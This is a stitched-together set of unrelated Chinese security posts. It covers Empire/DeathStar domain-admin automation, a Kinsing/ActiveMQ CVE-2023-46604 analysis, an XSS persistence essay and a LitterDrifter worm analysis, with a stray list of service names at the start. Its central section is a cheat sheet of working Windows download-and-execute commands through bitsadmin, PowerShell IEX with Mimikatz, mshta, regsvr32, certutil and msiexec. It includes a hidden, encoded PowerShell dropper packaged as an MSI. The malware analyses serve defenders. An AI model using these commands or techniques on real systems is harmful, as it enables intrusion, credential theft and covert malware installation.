mcsvc fax msiserver ias messenger netlogon netman netdde netddedsm nmagent plugplay protectedstorage rasman rpclocator rpc rpcss remoteaccess rsvp samss scardsvr scesrv seclogon scm dcom cifs spooler snmp schedule tapisrv trksvr trkwks ups time wins www http w3svc iisadmin msdtc
-
使用Empire自动获取域管理员
使用Empire自动获取域管理员 译:backlion 前言 自从Empire和BloodHound被应用来,对AD渗透已经可以获取到内网环境95%的信息量。作者发现自己一遍又一遍地在做同样重复的事情,当发生这种情况时,就应该考虑到自动化,毕竟一个自动获得域管理员的自动化脚本是提高工作效率最好的办法。此外,Empire刚刚推出了一个RESTful API的接口,可以轻松创建与之交互的第三方脚本。 项目目标和实施 最初,作者本来想要的是通过BloodHounds输出信息,并解析它,将其提供输入到Empire中,使其成为流程化。可是,BloodHound并没有使用域特权升级(如SYSVOL中的GPP密码。所以作者想要一个更灵活的BloodHound版本的“攻击模板”。 此外,Empire拥有BloodHound的大部分核心功能,它包含了BloodHound上的所有功能。作者坚持使用Empire,并使用RESTful API自动化所有内容。 这也使得能够自由地解析模块的输出,并且对整体的逻辑和用户反馈有更多的输出控制。 设计流程图 以下展示了DeathStar项目的设计流程: 环境配置 DeathStar - https://github.com/byt3bl33d3r/DeathStar Empire - https://github.com/EmpireProject/Empire 1.下载empire并且安装运行: git clone https://github.com/EmpireProject/Empire cd Empire/setup && ./install.sh && cd .. # Start the Empire console and RESTful API python empire --rest --username backlion --password Password@123 2.启动empier的控制台和RESTful API服务,并启动运行DeathStar: git clone https://github.com/byt3bl33d3r/DeathStar # Death Star is written in Python3 pip3 install -r requirements.txt # Supply the username and password you started Empire's RESTful API with ./DeathStar.py -u backlion -p Password@123 3.如果一切顺利,DeathStar会创建一个http侦听,应该可以看到"Polling for Agents"状态:这意味着已经通过了empire的RESTful API接口验证,而且DeathStar正在监听第一个代理。这里需要的只是你在代理上加入域主机即可。现在需要的只是域主机连接机器上的代理,如何做到这一点已超出本文的范围。作者建议你使用crackmapexec。 视频演示 一旦得到第一个代理,DeathStar将接管,将开始自动化提权。以下是两个不同情况下获取域管理员的DeathStar视频 1.在第一个视频中,它使用SYSVOL漏洞中的GPP密码来提升域权限,使用解密的凭证横向扩展到应用GPO的机器上,并最终登录到已登录域管理员的计算机上,然后枚举正在运行的进程和 PSInject进入一个在Domain Admin帐户下运行的进程(默认情况下是explorer.exe): https://www.youtube.com/embed/PTpg_9IgxB0?ecver=2 2.第二个视频,它实际上获得域管理员的凭据是使用Mimikatz和利用本地管理员的关系: https://www.youtube.com/embed/1ZCkC8FXSzs?ecver=2 小结 DeathStar演示了如何使用现有的开源工具集自动获取Active Directory环境中的域管理员权限.
-
CVE-2023-46604 (Apache ActiveMQ)利用加密矿工和rootkit实施系统攻击
我们发现利用Apache ActiveMQ漏洞CVE-2023-46604下载并攻击Linux系统的Kinsing恶意软件(也称为h2miner)和加密货币矿工被利用时,此漏洞会导致远程代码执行(RCE), Kinsing使用它来下载和安装恶意软件。 该漏洞本身是由于OpenWire命令未能验证未经检测类类型而导致RCE。 ActiveMQ(用Java编写)是一个由Apache开发的开源协议,它实现了面向消息的中间件(MOM)。它的主要功能是在不同的应用程序之间发送消息,还包括STOMP、Jakarta Messaging (JMS)和OpenWire等附加特性。 Kinsing恶意软件是一种主要针对基于linux的系统的严重威胁,可以渗透服务器并在网络中迅速传播。它通过利用web应用程序或配置错误的容器环境中的漏洞进入。 最近,Kinsing背后的攻击组织一直在利用CVE-2023-4911 (Looney Tunables)漏洞。一旦Kinsing攻击了一个系统,它就会部署一个加密货币挖掘脚本,利用主机的资源来挖掘比特币等加密货币,从而对基础设施造成严重破坏,并对系统性能产生负面影响。 受影响的ActiveMQ版本 以下是受CVE-2023-46604漏洞影响的Apache ActiveMQ版本: Apache ActiveMQ 5.18.0 5.18.3之前的版本; Apache ActiveMQ 5.17.0 5.17.6之前的版本; Apache ActiveMQ 5.16.0 5.16.7之前的版本; 5.15.16之前的Apache ActiveMQ; Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3; Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6; Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7; Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16; 建议用户将Java OpenWire代理和客户机升级到版本5.15.16、5.16.7、5.17.6或5.18.3,因为其中任何一个版本都可以修复此漏洞。 CVE-2023-46604补丁差异 基于AMQ-9370,我们能够检查漏洞出现的根本原因,与OpenWire命令解组时可抛出类类型验证有关的问题。 OpenWire是一种二进制协议,专门设计用于处理面向消息的中间件。它充当ActiveMQ的本机连接格式,ActiveMQ是一个广泛使用的开源消息传递和集成平台,与其他格式相比,OpenWire的二进制格式提供了几个优势,比如它对带宽的有效利用以及支持多种消息类型的能力。这些特性使其成为需要可靠和高性能消息传递系统的企业和组织的理想选择。 基于补丁差异,我们可以看到validateIsThrowable方法已经包含在BaseDataStreamMarshall类中。 validateIsThrowable方法包含在BaseDataStreamMarshall类中 无法验证Throwable类的类类型 当编组器无法验证Throwable (Java中表示异常和错误的对象)的类类型时,它可能会意外地创建并执行任何类的实例。这将导致RCE漏洞允许攻击者在服务器或应用程序上执行任意代码。因此,必须确保始终验证Throwable的类类型,以防止潜在的安全风险。 检测 自11月初以来,已经出现了几起活跃样本。这些报告是关于积极利用CVE-2023-46604的攻击者(例如HelloKitty勒索软件家族背后的攻击者),以及Metasploit和nucleus等概念验证漏洞。考虑到CVE-2023-46604的CVSS评分为9.8,总体检测率仍然很低。 基于Kinsing使用的漏洞,我们提供了一个可用于扫描的YARA规则: 恶意利用CVE-2023-46604漏洞 目前,存在利用ProcessBuilder方法在受影响的系统上执行命令的公开漏洞。在Kinsing的背景下,CVE-2023-46604被用来在易受攻击的系统上下载和执行Kinsing加密货币矿工和恶意软件。 使用ProcessBuilder方法进行开发 一旦成功利用,加密货币矿工和恶意软件将下载恶意安装程序,然后使用bash执行恶意脚本。 通过bash执行恶意脚本 一旦bash脚本被执行,Kinsing恶意软件就会从命令与控制(C&C)服务器为各种体系结构下载额外的二进制文件和有效负载。 从C&C服务器下载额外的二进制文件和有效负载 Kinsing恶意软件的一个有趣特征是,它在进程、crontab和活动网络连接中积极寻找正在活动的加密货币矿工,例如与Monero绑定的矿工或利用Log4Shell和WebLogic漏洞的矿工,然后继续阻止它们的进程和网络连接。此外,Kinsing从受攻击主机的crontab中删除有竞争关系的恶意软件和矿工。 为Kinsing二进制文件分配一个Linux环境变量,然后执行它。 最后,Kinsing每分钟添加一个cronjob来下载并执行它的恶意引导脚本。 每分钟负责下载和执行Kinsing的恶意引导脚本的cronjob 这确保了受影响主机上的持久性,并确保最新的恶意Kinsing二进制文件在受影响主机上可用。 Kinsing通过在/etc/ld.so中加载它的rootkit来加倍地使用它的持久性和攻击性预加载,完成一个完整的系统攻击。 加载Kinsing rootkit“/etc/ld.so.preload” 总结 CVE-2023-46604漏洞仍然在被各种攻击者利用,例如Kinsing恶意软件利用背后的组织,滥用此漏洞执行恶意活动。 使用有Apache ActiveMQ时必须立即采取行动,尽快修补CVE-2023-46604漏洞,并降低与Kinsing相关的风险。鉴于恶意软件跨网络传播和善于利用其他漏洞的特点,当务之急要维护最新的安全补丁,定期审计配置,并监控网络流量异常活动,这些都是综合网络安全战略的关键组成部分。
-
windows下载执行命令大全
1.bitsadmin命令(只能命令下载到指定路径上,win7以上): bitsadmin /transfer myDownLoadJob /download /priority normal "https://www.ishack.org/tu/rtjxy4ppzcc18198.jpg" "d:\abc.jpg" bitsadmin /transfer d90f http://site.com/a %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe 2.powershell命名下载执行:(win7以上) powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz powershell -exec bypass -f \\webdavserver\folder\payload.ps1 powershell (new-object System.Net.WebClient).DownloadFile( ‘http://192.168.168.183/1.exe’,’C:\111111111111111.exe’) powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('https://www.ishack.org/tu/rtjxy4ppzcc18198.jpg','d:\\1.jpg') 3.mshta命令下载执行 mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) mshta http://webserver/payload.hta --->短域名:http://sina.lt/-->mshta http://t.cn/RYUQyF8 mshta \\webdavserver\folder\payload.hta payload.hta <HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc.exe" self.close </script> <body> demo </body> </HEAD> </HTML> 4.rundll32命令下载执行 rundll32 \\webdavserver\folder\payload.dll,entrypoint rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); 参考:https://github.com/3gstudent/Javascript-Backdoor 5.net中的regasm命令下载执行 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll 6.cmd的远程命令下载: cmd.exe /k < \\webdavserver\folder\batchfile.txt 7.regsvr32命令下载执行 regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll regsvr32 /u /s /i:http://site.com/js.png scrobj.dll js.png <?XML version="1.0"?> <scriptlet> <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <!-- Learn from Casey Smith @subTee --> <script language="JScript"> <![CDATA[ ps = "cmd.exe /c calc.exe"; new ActiveXObject("WScript.Shell").Run(ps,0,true); ]]> </script> </registration> </scriptlet> 8.certutil命令下载执行 certutil -urlcache -split -f http://webserver/payload payload certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete 9.net中的MSBulid命令下载执行 cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" 10. odbcconf命令下载执行 odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} 11.cscript脚本远程命令下载执行 cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec3.sct cscript //E:jscript \\webdavserver\folder\payload.txt downfile.vbs: ' Set your settings strFileURL = "https://www.ishack.org/tu/v4xcu4a3rkr18202.jpg" strHDLocation = "c:\logo.jpg" ' Fetch the file Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 'adTypeBinary objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0'Set the stream position to the start Set objFSO = Createobject("Scripting.FileSystemObject") If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing 将以上保存为downfile.vbs 输入命令:cscript downfile.vbs 12.pubprn.vbs下载执行命令 cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct 13.windows自带命令copy copy \\x.x.x.x\xx\poc.exe xcopy d:\test.exe \\x.x.x.x\test.exe 14. IEXPLORE.EXE命令下载执行(需要IE存在oday) "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://site.com/exp 15.IEEXC命令下载执行 C:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s off C:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec http://site.com/files/test64.exe 参考:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/ 16. msiexec命令下载执行 msiexec /q /i http://site.com/payloads/calc.png 该方法我之前的两篇文章《渗透测试中的msiexec》《渗透技巧——从Admin权限切换到System权限》有过介绍,细节不再赘述 首先将powershell实现下载执行的代码作base64编码: $fileContent = "(new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent); $encoded = [System.Convert]::ToBase64String($bytes); $encoded 得到: KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABvAGEAZABcAGEALgBlAHgAZQAnAA== 完整powershell命令为: powershell -WindowStyle Hidden -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABvAGEAZABcAGEALgBlAHgAZQAnAA== 完整wix文件为: <?xml version="1.0"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033"> <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> <Media Id="1" /> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFilesFolder"> <Directory Id="INSTALLLOCATION" Name="Example"> <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"> </Component> </Directory> </Directory> </Directory> <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/> </Feature> <Property Id="cmdline">powershell -WindowStyle Hidden -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwAzAGcAcwB0AHUAZABlAG4AdAAvAHQAZQBzAHQALwByAGEAdwAvAG0AYQBzAHQAZQByAC8AcAB1AHQAdAB5AC4AZQB4AGUAJwAsACcAYwA6AFwAZABvAHcAbgBsAG8AYQBkAFwAYQAuAGUAeABlACcAKQA7AHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIAAnAGMAOgBcAGQAbwB3AG4AbABvAGEAZABcAGEALgBlAHgAZQAnAA== </Property> <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/> <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check"> invalid vbs to fail install </CustomAction> <InstallExecuteSequence> <Custom Action="SystemShell" After="InstallInitialize"></Custom> <Custom Action="FailInstall" Before="InstallFiles"></Custom> </InstallExecuteSequence> </Product> </Wix> 将其编译,生成msi文件,命令如下: candle.exe msigen.wix light.exe msigen.wixobj 生成test.msi 实现功能: msiexec /q /i https://github.com/3gstudent/test/raw/master/test.msi 注: 执行后需要手动结束进程msiexec.exe 结合百度提供的短地址服务(http://dwz.cn/), 实现代码为34个字符,代码如下: msiexec /q /i http://dwz.cn/6UJpF8 17.下载命令执行项目GreatSCT https://github.com/GreatSCT/
-
延长xss的攻击(转)
XSS 的本质仍是一段脚本。和其他文档元素一样,页面关了一切都销毁。除非能将脚本蔓延到页面以外的地方,那样才能获得更长的生命力。 庆幸的是,从 DOM 诞生的那一天起,就已为我们准备了这个特殊的功能,让脚本拥有突破当前页面的能力。 下面开始我们的续命黑魔法。 反向注入 一个不合理的标准,往往会埋下各种隐患。 浏览器提供了一个 opener 属性,供弹出的窗口访问来源页。但该规范设计的并不合理,导致通过超链接弹出的页面,也能使用 opener。 但按理来说,只有通过脚本弹出的子页面,才能拥有 opener 属性,这样可以相互访问和操作。 然而事实上,通过超链接点开的页面居然也有!这为 XSS 打开了一扇大门 —— XSS 不仅可以操控当前页面,甚至还能传染给同源的父页面。 XSS 一旦感染到父页面里,战斗力就大幅提升了。 可以想象,只要看了一个带有 XSS 的帖子,即使立即关了,那么帖子列表页也会遭到感染。 更有趣的是,opener 这个属性不受同源策略限制。即使父页面不同源,但父页面的 opener 仍然可以访问。 我们可以顺着 opener.opener.opener... 一直往上试探,只要是和当前页面同源的,仍然能够进行操控 —— 尽管中间隔着其他不同源的页面。 网站的主页面显然比详细页更受用户的信任,停留的时间也会更长,因此攻击力可成倍的增加。 正向注入 如果说反向注入是苟且偷生的话,那么正向注入就是当家做主翻身的机会了。 尽管我们能够控制父页面,但从父页面点开的网页仍然不受操控。如果具有控制子页面的能力,那就更完美了。 不幸的是,我们无法控制超链接打开的新页面。唯一能够操控的新页面,那就是 window.open 的弹框页。幸运的是,在绝大多数浏览器上,它们看起来的效果是一样的。 因此,我们可以在用户的点击瞬间,屏蔽掉默认的超链接行为,用弹框页取而代之,即可把 XSS 注入到 window.open 返回的新页面里了。 类似的,通过子页面递归打开的新页面,同样也无法逃脱。于是子子孙孙尽在我们的掌控之中。 反向注入,让我们占据已有的地盘;正向注入,把我们的势力扩大蔓延出去。两者结合,即可占据半壁江山了。 值得注意的是,正向注入中有个细节问题。并非所有的超链接都是弹出型的(_blank),也有不少是在当前页面跳转的。若是想劫持的狠点,可以忽略这个问题;如果不想被细心的用户发现,那么可以判断下当前超链接以及<base>的 target 属性,决定是否劫持。 页面监督 上面提到,如果是在当前页面里跳转,那么还能继续感染吗?或者说,某个页面刷新之后,是否就丢失了? 答案是肯定的。如果我们不采取一些措施,任凭占据的地盘不断丢失,那么我们的势力范围就会越来越小,直到消亡。 相比进攻,防守则更为困难。我们不知何时会失去,因此必须定时去检查。 一旦发现对方已摆脱我们的控制,那么必须立即重新注入,以恢复我们的势力。 对于新页面的 XSS 来说,当然是注入的越早越好。越前面拥有越高的优先级,甚至可以拦截页面的正常业务功能。 为了能尽快获知页面刷新、跳转等行为,我们还可跟踪 unload 事件,在页面即将丢失的瞬间,将消息通知出去,让对方尽快来拯救自己。 这样,就不必等待定时器了,可以最快的速度恢复。甚至能赶在页面的第一个脚本之前,运行我们的 XSS。 当然,并非任何情况都能收回的。如果跳转到了不同源的页面,那显然是无能为力了 —— 不过,就此而放弃它吗?回答是:决不妥协! 尽管页面已经和我们分道扬镳了,但所在的窗体仍然被我们掌控。我们可以跳转、关闭它,甚至还有可能出现奇迹:只要页面跳转回我们的站点,又可被我们所收复! 互相联结 不难发现,只要还有一个页面存在,就有可能收回曾经被占领的地盘。因此,我们要将可控的页面都联结起来,让每个页面都知晓并监督所有成员。 当有新成员加入时,通知给大家,记录在各自的页面里。 这样即使其中一个页面意外关闭了,也不会丢失重要的信息 —— 信息已被分布储存在各个页面里了。 因此,页面开的越多,相互联结就越牢固。 所以,把超链接都变成新页面中打开,还是有很大的优势的。 如果只剩最后一个页面,那么一旦刷新之后就没人来拯救了,于是就会消亡。 降域尝试 一些网站为了方便通信,将 document.domain 降到根域。例如支付宝网站的绝大部分页面,都是 alipay.com。这样原本不同源的子站,这时也能够相互操控了。 因此,遇到不同源的页面,可以尝试降低自身的域,再次发起操作,或许就能成功注入了。 表单劫持 之前说到正向注入,是通过劫持超链接点击实现的。事实上,除了超链接外,还有个进入新页面的方式,那就是表单提交。 相比超链接,表单显得棘手一些。我们不仅得打开一个新页面,还要把表单里的数据也提交上去。如果把整个表单的元素克隆到新页面提交,一些数据又会丢失。 不过,仔细研究一下表单元素,会发现有一个非常简单的方法:原来 window.open 第二个参数可以赋予新窗口一个 name,然后将 name 赋予表单的 target 属性,即可在我们创建的新窗口里提交。这样就可以把 XSS 注入进去了。 框架注入 不同页面之间可以正反注入。同个页面中,可能存在多个框架页,因此还可以尝试框架页之间的上下注入。 也许,XSS 位于页面中某个小框架。如果只局限于自身页面,那么是毫无发展空间的。因此得跳出圈子,向更广阔的 parent 页面注入。 类似的,如果主页面仅仅是个外壳,实际内容运行在某个框架里,那么得注入到子框架中,才能获取更有意义的信息。 同样,我们还可以将上下注入结合,即可让 XSS 从某个框架页里破壳而出,感染到所有的框架页里。 后记 尽管这些特征从 DOM 诞生起就已存在了,不过要写出一个完善的脚本并不容易。直到如今的 IE 11,不同窗体间的操作,仍有各种奇怪问题,更不用说那些非主流 IE 了。 不过好在除 IE 外的其他主流浏览器,都能很好的运行。下面分享一个 Demo,其中实现了上述部分功能: http://www.etherdream.com/FunnyScript/XSSGhost/ 当我们顺着超链接往前点,一旦进入有 XSS 的页面,先前的父页面都遭到感染。更严重的是,被感染的页面打开的子页面,也都无一幸免。即使刷新,也会被其他页面监控到,从而立即恢复。 正如幽灵鬼魂一般挥之不去。
-
分析LITTERDRIFTER蠕虫传播工具
Gamaredon又被称为Primitive Bear、ACTINIUM和Shuckworm,它的大规模活动通常伴随着针对特定目标的数据收集工作,这些目标的选择一般是出于间谍目的。这些活动与部署各种机制和工具并行,机制和工具又尽可能多地保持对这些目标的访问。其中一种工具是USB传播蠕虫,我们将其命名为LitterDrifter。 LitterDrifter蠕虫是用VBS编写的,有两个主要功能:在USB驱动器上自动传播,以及与广泛、灵活的命令和控制服务器进行通信。这些特性以与组织目标一致的方式实现,在广泛目标上维护持久的命令和控制(C2)通道。 接下来,我们将深入分析Gamaredon的LitterDrifter恶意软件及其C2基础设施。 Gamaredon的攻击目标包括乌克兰、美国、越南、智利、波兰和德国等多个国家。 LitterDrifter提交的病毒总数 该组织最近开始部署LitterDrifter,旨在通过可移动USB驱动器传播并保护C2通道。 LitterDrifter概述 LitterDrifter是一种自我传播的蠕虫,具有两个主要功能:在驱动器上传播,并建立通往Gamaredon广泛指挥和控制基础设施的C2通道。这两个功能驻留在一个以“trash.dll”形式保存到磁盘的业务流程组件中,尽管它有文件扩展名,但它实际上就是一个VBS。 LitterDrifter高级执行流程 dll作为初始的编排组件,其中运行的主要功能是解码和执行其他模块,并在受害者环境中保持初始持久性。 成功执行后,它将运行提取的两个模块: 1. 散布器(Spreader)模块:在系统中传播恶意软件,并通过优先感染mediatype=NULL的逻辑磁盘(通常与USB可移动媒体相关),将其传播到其他环境。 2. C2模块:通过生成内置C2服务器的随机子域来检索命令和控制服务器IP地址,同时还维护一个备份选项,以便从Telegram通道检索C2 IP地址。它的主要目的是建立与攻击者C&C服务器的通信,并执行传入的有效负载。 Dumpster Diving(垃圾搜索) DEOBFUSCODER去混淆编码 编排组件(称为DEOBFUSCODER)是严重混淆的,它是由一系列带有字符替换混淆的字符串构造的,由7个具有名称混淆的函数和变量组成。在“Deobfucate”操作的整个运行过程中,LitterDrifter调用一个函数,该函数将执行延迟几秒钟(具体时间因示例而异),以延迟后续操作。 main函数接受两个编码字符串(另外两个恶意组件)作为参数。然后,它在用户的“Favorites”目录下声明了两个路径,用于存储来自VBS的其他2个编码组件的两个解码脚本。 为了确保其持久性,Deobfuscoder将原始脚本复制到用户目录中名为“trash.dll”的隐藏文件中。 脚本对提供的编码字符串进行解码,并将它们作为有效负载组件“jersey.webm”和扩展程序组件“jaw.wm”写入“收藏夹”目录,文件的名称和扩展名以及%userprofile%中的位置因变体而异。 在创建这些文件之后,恶意软件继续为这两个组件中的每一个设置计划任务,确保它们定期执行。此外,它在注册表运行项中为用户的启动项添加了一个条目,以确保它们在启动时运行。 任务和启动条目都使用听起来像“RunFullMemoryDiagnostic”和“ProcessMemoryDiagnosticEvents”这样的技术名称进行伪装,以显得合法并避免引起怀疑。 编排器DEOBFUSCODER的Main Function解混淆片段 整个流程被模糊的函数和变量名以及内联脚本的使用故意模糊,这使得一般的观察者很难辨别其意图和活动。 Spreader模块分析 Spreader模块的核心本质在于递归地访问每个驱动器中的子文件夹,并创建LNK诱饵快捷方式,以及隐藏的“trash.dll”文件副本。 trash.dll作为一个隐藏文件与一个诱饵LNK一起分布在USB驱动器中 在执行时,该模块使用Windows Management Instrumentation (WMI)查询计算机的逻辑驱动器,并搜索MediaType值设置为null的逻辑磁盘,这是一种通常用于识别可移动USB驱动器的方法。 LitterDrifter的散布器组件 对于检测到的每个逻辑驱动器,传播程序调用createShortcutsInSubfolders函数。在这个函数中,它将所提供文件夹的子文件夹迭代到深度2。 对于每个子文件夹,它使用createsshortcut函数作为“Create LNK”操作的一部分,该操作负责生成具有特定属性的快捷方式。这些快捷方式是从代码中的数组中随机选择名称的LNK文件。一个诱饵名称示例如"Bank_accоunt", "постановa", "Bank_accоunt", "службовa", "cоmpromising_evidence"。LNK文件使用wscript.exe***执行带有指定参数“”“trash.dll”“/webm//e:vbScript//b/wm/cal”的“trash.dll”。除了生成快捷方式外,该函数还在子文件夹中创建一个隐藏的“trash.dll”副本。 Spreader组件中用于迭代子文件夹的函数 C2模块分析:清除垃圾 Gamaredon的C&C方法是非常独特的,因为它使用域作为C2服务器的流通IP地址的占位符。 在尝试联系C2服务器之前,脚本检查%TEMP%文件夹中是否有一个现有的C2配置文件,该文件的名称在恶意软件中是硬编码的。这种机制作为恶意软件的自检,验证它是否已经感染了设备。如果存在,当前执行可能只是由前面讨论的持久性机制触发的计划执行;如果没有现有的配置文件,恶意软件将切换设备并使用WMI查询ping Gamaredon的其中一个域:select * from win32_pingstatus where address='Write LitterDrifter使用WMI查询检索C2 IP地址 有了IP地址,LitterDrifter将IP构造成URL。格式通常为http:// 最终的结果是一个用户代理,看起来类似于mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/88.0.4324.152 yabrowser/21.2.3.106 yowser/2.5 safari/537.36;; LitterDrifter准备HTTP请求,构造URL和用户代理 请求的HTTP标头也经过精心定制。例如,在一个样本中,Referer字段包含https://www.crimea.kp.ru/daily/euromaidan/,它还在Cookie字段中隐藏了Accept-Language和字符串marketCookie的一些细节。 HTTP请求函数 LitterDrifter使用一个失败计数器来选择哪个C2方法是相关的。每次C2未能返回有效负载或Telegram备份通道时,失败计数器都会增加,LitterDrifter从中提取替代C2。代码流表明,要返回的第一个答案通常是一个Telegram频道ID,它保存在备份文件中。 根据失败计数,LitterDrifter选择连接哪个C2: 1.如果失败计数器当前设置为0,则对保存在配置文件中的文件执行请求。 2.如果失败计数器当前设置为1,LitterDrifter将尝试使用WMI Query解析其嵌入的C2域,如前所述。 3.如果失败计数器设置为2,LitterDrifter尝试连接到从Telegram备份通道提取的C2,使用不同的用户代理和https://www.interfax.ru/tags/的Referer,这是另一个俄罗斯新闻网站,它会从中提取一个用作C2的IP地址。 Gamaredon的Telegram频道隐藏了一个C&C的IP地址 如果在C2应答中找到有效负载,LitterDrifter将尝试解码它。它打开所有base64内容,并尝试运行解码后的数据。根据分析,负载没有下载到大多数目标。 LitterDrifter的失败计数选项和接收有效负载的执行(去混淆) 基础设施 在整个分析过程中,Gamaredon在这次行动中使用的基础设施有明显的模式。包括注册模式,因为Gamaredon的LitterDrifter使用的所有域名都是由REGRU-RU注册的,并且是TLD .ru的一部分。 这些发现与过去关于Gamaredon基础设施的其他报告一致。 基于其中的一些模式,我们能够将特定的域和子域与LitterDriffter的活动联系起来,并将其他域与Gamaredon的其他活动集群联系起来。 在LitterDrifter活动中,C2模块通过WMI查询获得gamaredon拥有的域的解析。它通过使用随机单词和数字生成硬编码域的随机子域来实现这一点,因此每个域都显示出不同范围的相关子域。有些域只有几个子域,而另一些则有几百个子域。下图表显示了每个域的子域数量: 每个域的子域数量 如前所述,对Gamaredon域的WMI查询返回一个IP地址,该地址用作活动的操作C2。平均而言,一个IP地址可以运行大约28小时。但是,作为活动C2的IP地址通常一天会更改几次,所使用的所有IP地址都可能属于同一子网,如下所示: 过去两个月每天的C&C IP地址数目 总结 很明显,LitterDrifter是为支持大规模收集操作而设计的,它利用简单而有效的技术,尽可能触及广泛的目标,但LitterDrifter并不依赖于突破性的技术,可能看起来是一个相对简单的恶意软件。
-
深入详解windows安全认证机制ntlm&Kerberos
